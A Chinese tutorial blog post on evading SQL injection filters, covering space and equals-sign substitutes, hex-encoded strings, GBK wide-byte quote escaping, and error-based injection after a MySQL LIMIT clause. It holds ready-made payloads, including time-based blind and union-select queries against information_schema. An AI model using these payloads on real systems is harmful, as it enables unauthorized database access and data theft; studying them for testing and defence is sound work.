zoukankan      html  css  js  c++  java
  • SQL注入的绕过

    一、常用符号的绕过

      1、空格

    1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
    2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

      2、“ = ”号

    使用like 、rlike 、regexp 、< 或者 > 

      3、字符串无法使用引号

    可以用16进制来表示字符串:用编码转换工具转换你要的字符串,前缀 0x 即可。
    例如: ?id=1%df' union select table_name from information_schema.tables where table_schema=0x666c6167('flag') %23

      4、宽字节绕过单引号转义

      在判断注入点的过程中,加单引号“ ' ”,发现被“  ”转义了,可以尝试宽字节注入

    1 原理:由于mysql的特性,gbk是多字节编码,它用两个字节代表一个汉字,所以构造一个字节和后面的“  ”也就是%5c变成了一个汉字,“ ' ”就能逃逸出来了。
    2 测试:在常规输入后加入 ' 发现被转义,改成加入 %df' ,若报错则可能存在宽字节注入
    3 构造:用 %df 来做“ ' ”的前缀,再用常规注入手段就好了
      因为爆库爆表爆字段过程中要用到字符串,也会用到“ ' ”或“ " ”。所以还会用到上面讲的字符串16进制化的绕过方法。
    例如:前面不写了+ ?id=1%df' union select 1,2,table_name from information_schema.tables where table_schema=0x666c6167('flag') limit 0,1 %23

     二、一些特殊情况

      1、Mysql注入点在limit关键字后面

      先看看MySQL的查询语法:

    select
        [ALL | tDISTINCT | DISTINCTROW ]
          [HIGH_PRIORITY]
          [STRAIGHT_JOIN]
          [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
          [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
        select_expr [, select_expr ...]
        [FROM table_references
        [WHERE where_condition]
        [GROUP BY {col_name | expr | position}
          [ASC | DESC], ... [WITH ROLLUP]]
        [HAVING where_condition]
        [ORDER BY {col_name | expr | position}
          [ASC | DESC], ...]
        [LIMIT {[offset,] row_count | row_count OFFSET offset}]
        [PROCEDURE procedure_name(argument_list)]
        [INTO OUTFILE 'file_name' export_options
          | INTO DUMPFILE 'file_name'
          | INTO var_name [, var_name]]
        [FOR UPDATE | LOCK IN SHARE MODE]]

      limit 关键字后面还有 procedure 和 into 关键字,into 关键字可以用来写文件,procedure可以使用默认的存储方式 analyse,构造如下,可见是报错注入。

    limit 1, 1 procedure analyse(extractvalue(rand(), concat(0x3a, database())), 1);

      database 函数的位置即可执行sql其他语句

     

     

  • 相关阅读:
    jenkins as code 与go语言学习
    VC++ 网络编程总结(一)
    Linux下的C高级编程---学习
    面试前必做4准备
    MFC视图切换大全总结
    多线程编程技术学---学习笔记--线程编程基础知识
    C语言高效编程的几招(绝对实用,绝对经典)
    汇编语言(学习笔记-----[bx]和loop)
    汇编语言(学习笔记----源程序)
    汇编语言(学习笔记----寄存器-内存访问)
  • 原文地址:https://www.cnblogs.com/AardWolf/p/10163083.html
Copyright © 2011-2022 走看看